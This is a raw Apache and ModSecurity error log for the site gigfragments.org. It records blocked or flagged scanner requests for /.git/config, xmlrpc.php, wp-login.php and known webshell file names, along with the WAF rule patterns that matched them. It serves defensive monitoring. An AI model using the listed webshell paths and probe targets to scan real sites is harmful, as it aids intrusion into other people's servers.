[Wed Dec 31 02:56:07.123228 2025] [:error] [pid 49982:tid 50024] [client 195.178.110.190:58284] [client 195.178.110.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aVQgRyFJSHqasQiscZ4FCQAAAMk"]
[Wed Dec 31 02:57:45.909849 2025] [:error] [pid 50266:tid 50288] [client 20.197.226.217:35298] [client 20.197.226.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.197.226.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVQgqfw6SPY9puCUnH-fiwAAAFQ"]
[Wed Dec 31 03:11:57.379401 2025] [:error] [pid 49983:tid 50042] [client 152.53.164.187:35092] [client 152.53.164.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.164.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVQj_WiL1pay2WifcvayPgAAAQA"]
[Wed Dec 31 03:53:01.365156 2025] [:error] [pid 33109:tid 33111] [client 4.190.203.84:10112] [client 4.190.203.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aVQtncYN9k_fnLM-n46qnwAAAMA"], referer: https://duckduckgo.com/
[Wed Dec 31 03:53:33.399325 2025] [:error] [pid 33003:tid 33054] [client 4.190.203.84:10184] [client 4.190.203.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aVQtvbOkdrCgTt0MxWK7zgAAAFA"], referer: https://www.google.com/
[Wed Dec 31 03:53:48.666370 2025] [:error] [pid 33109:tid 33124] [client 4.190.203.84:10197] [client 4.190.203.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.190.203.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVQtzMYN9k_fnLM-n46rFAAAAM0"], referer: https://www.google.co.uk/
[Wed Dec 31 04:45:21.119921 2025] [:error] [pid 33109:tid 33124] [client 138.199.148.200:52092] [client 138.199.148.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.148.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVQ54cYN9k_fnLM-n47HzgAAAM0"]
[Wed Dec 31 05:04:07.091757 2025] [:error] [pid 33109:tid 33121] [client 4.194.133.126:21491] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/cropper.php"] [unique_id "aVQ-R8YN9k_fnLM-n47R7wAAAMo"], referer: https://www.google.de/
[Wed Dec 31 05:04:07.265999 2025] [:error] [pid 33004:tid 33065] [client 4.194.133.126:21497] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/thickbox.php"] [unique_id "aVQ-R_ogj9CrK-80KNwIMgAAAIA"], referer: https://www.google.com/
[Wed Dec 31 05:04:36.412361 2025] [autoindex:error] [pid 33002:tid 33032] [client 4.194.133.126:21381] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 31 05:04:36.507013 2025] [autoindex:error] [pid 33002:tid 33035] [client 4.194.133.126:21381] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 31 05:04:36.601649 2025] [autoindex:error] [pid 33002:tid 33020] [client 4.194.133.126:21381] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 31 05:04:36.689162 2025] [:error] [pid 33002:tid 33030] [client 4.194.133.126:21381] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aVQ-ZPnsZEcORmTFnrieGAAAABM"], referer: https://www.google.com/
[Wed Dec 31 05:04:36.867529 2025] [:error] [pid 33109:tid 33131] [client 4.194.133.126:21448] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aVQ-ZMYN9k_fnLM-n47SDgAAANQ"], referer: https://www.yahoo.com/
[Wed Dec 31 05:04:37.042095 2025] [:error] [pid 33109:tid 33116] [client 4.194.133.126:21396] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aVQ-ZcYN9k_fnLM-n47SEAAAAMU"], referer: https://www.bing.com/
[Wed Dec 31 05:04:37.233256 2025] [autoindex:error] [pid 33109:tid 33111] [client 4.194.133.126:21390] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 31 05:04:37.331872 2025] [:error] [pid 33109:tid 33121] [client 4.194.133.126:21390] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aVQ-ZcYN9k_fnLM-n47SEgAAAMo"], referer: https://www.google.fr/
[Wed Dec 31 05:04:37.515701 2025] [autoindex:error] [pid 33109:tid 33114] [client 4.194.133.126:21406] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 31 05:04:37.605877 2025] [:error] [pid 33109:tid 33122] [client 4.194.133.126:21406] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aVQ-ZcYN9k_fnLM-n47SFAAAAMs"], referer: https://www.google.com/
[Wed Dec 31 05:04:37.785191 2025] [autoindex:error] [pid 33109:tid 33120] [client 4.194.133.126:21451] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 31 05:04:37.872859 2025] [:error] [pid 33109:tid 33113] [client 4.194.133.126:21451] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aVQ-ZcYN9k_fnLM-n47SFgAAAMI"], referer: https://www.google.de/
[Wed Dec 31 05:04:38.049218 2025] [:error] [pid 33003:tid 33058] [client 4.194.133.126:21490] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aVQ-ZrOkdrCgTt0MxWLWDAAAAFQ"], referer: https://www.google.fr/
[Wed Dec 31 05:04:38.225914 2025] [:error] [pid 33109:tid 33135] [client 4.194.133.126:21488] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aVQ-ZsYN9k_fnLM-n47SGAAAANg"], referer: https://www.google.co.uk/
[Wed Dec 31 05:04:38.402277 2025] [:error] [pid 33109:tid 33124] [client 4.194.133.126:21388] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/gelay.php"] [unique_id "aVQ-ZsYN9k_fnLM-n47SGQAAAM0"], referer: https://www.bing.com/
[Wed Dec 31 05:04:38.591644 2025] [:error] [pid 33004:tid 33076] [client 4.194.133.126:21482] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/index.php"] [unique_id "aVQ-Zvogj9CrK-80KNwITQAAAIs"], referer: https://www.google.co.uk/
[Wed Dec 31 05:04:40.157475 2025] [autoindex:error] [pid 33109:tid 33134] [client 4.194.133.126:21449] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 31 05:04:40.253413 2025] [autoindex:error] [pid 33109:tid 33132] [client 4.194.133.126:21449] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Dec 31 05:04:40.345588 2025] [autoindex:error] [pid 33109:tid 33114] [client 4.194.133.126:21449] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Dec 31 05:04:40.432218 2025] [:error] [pid 33109:tid 33128] [client 4.194.133.126:21449] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/compat3x/about.php"] [unique_id "aVQ-aMYN9k_fnLM-n47SIQAAANE"], referer: https://www.google.de/
[Wed Dec 31 05:04:40.614111 2025] [autoindex:error] [pid 33109:tid 33125] [client 4.194.133.126:21487] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Dec 31 05:04:40.701164 2025] [:error] [pid 33109:tid 33115] [client 4.194.133.126:21487] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mini.php"] [unique_id "aVQ-aMYN9k_fnLM-n47SJAAAAMQ"], referer: https://www.google.de/
[Wed Dec 31 05:04:40.884695 2025] [autoindex:error] [pid 33109:tid 33135] [client 4.194.133.126:21463] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 31 05:04:40.971857 2025] [:error] [pid 33109:tid 33112] [client 4.194.133.126:21463] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aVQ-aMYN9k_fnLM-n47SJgAAAME"], referer: https://www.bing.com/
[Wed Dec 31 05:04:41.154660 2025] [:error] [pid 33004:tid 33088] [client 4.194.133.126:21494] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVQ-afogj9CrK-80KNwIYAAAAJc"], referer: https://www.google.com/
[Wed Dec 31 05:04:41.339334 2025] [autoindex:error] [pid 33109:tid 33118] [client 4.194.133.126:21469] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 31 05:18:19.874954 2025] [:error] [pid 33002:tid 33030] [client 4.213.160.187:11151] [client 4.213.160.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.213.160.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVRBm_nsZEcORmTFnrijDAAAABM"], referer: https://www.google.de/
[Wed Dec 31 05:18:35.612995 2025] [:error] [pid 33109:tid 33130] [client 4.213.160.187:11258] [client 4.213.160.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.160.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVRBq8YN9k_fnLM-n47agwAAANM"], referer: https://www.google.co.uk/
[Wed Dec 31 05:18:39.529515 2025] [autoindex:error] [pid 33002:tid 33019] [client 4.213.160.187:11151] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 31 05:18:41.015002 2025] [autoindex:error] [pid 33002:tid 33011] [client 4.213.160.187:11151] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Dec 31 05:18:50.491441 2025] [:error] [pid 33002:tid 33027] [client 4.213.160.187:11151] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/cropper.php"] [unique_id "aVRBuvnsZEcORmTFnrijUgAAABA"], referer: https://www.google.com/
[Wed Dec 31 05:18:50.767783 2025] [:error] [pid 33109:tid 33117] [client 4.213.160.187:11246] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/thickbox.php"] [unique_id "aVRBusYN9k_fnLM-n47ayQAAAMY"], referer: https://www.google.co.uk/
[Wed Dec 31 05:18:53.936937 2025] [autoindex:error] [pid 33004:tid 33083] [client 4.213.160.187:11206] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Dec 31 05:18:56.826879 2025] [:error] [pid 33109:tid 33114] [client 4.213.160.187:11223] [client 4.213.160.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.160.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVRBwMYN9k_fnLM-n47a0gAAAMM"], referer: https://www.yahoo.com/
[Wed Dec 31 05:19:00.801500 2025] [:error] [pid 33004:tid 33076] [client 4.213.160.187:11206] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aVRBxPogj9CrK-80KNwN7QAAAIs"], referer: https://www.bing.com/
[Wed Dec 31 05:19:01.077348 2025] [:error] [pid 33003:tid 33042] [client 4.213.160.187:11149] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aVRBxbOkdrCgTt0MxWLcMwAAAEQ"], referer: https://www.google.fr/
[Wed Dec 31 05:19:01.498592 2025] [autoindex:error] [pid 33109:tid 33124] [client 4.213.160.187:11249] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Dec 31 05:19:01.634800 2025] [:error] [pid 33109:tid 33119] [client 4.213.160.187:11249] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aVRBxcYN9k_fnLM-n47a4QAAAMg"], referer: https://duckduckgo.com/
[Wed Dec 31 05:19:01.911158 2025] [:error] [pid 33003:tid 33047] [client 4.213.160.187:11147] [client 4.213.160.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aVRBxbOkdrCgTt0MxWLcNQAAAEk"], referer: https://www.google.fr/
[Wed Dec 31 05:35:51.463738 2025] [:error] [pid 33004:tid 33080] [client 186.194.55.237:34082] [client 186.194.55.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.194.55.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVRFt_ogj9CrK-80KNwVDgAAAI8"]
[Wed Dec 31 07:19:37.093116 2025] [:error] [pid 46814:tid 46824] [client 212.129.7.184:52208] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVReCSb1xN9EDaw4QDvZZgAAAAg"]
[Wed Dec 31 08:26:03.527394 2025] [:error] [pid 57143:tid 57147] [client 223.15.245.170:46906] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVRtm5aPGzW-sFdGwAlE0gAAAME"]
[Wed Dec 31 09:06:02.590350 2025] [:error] [pid 16684:tid 16710] [client 93.190.49.83:59234] [client 93.190.49.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.49.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVR2-rZeLeBmAW2ox82BvAAAABg"]
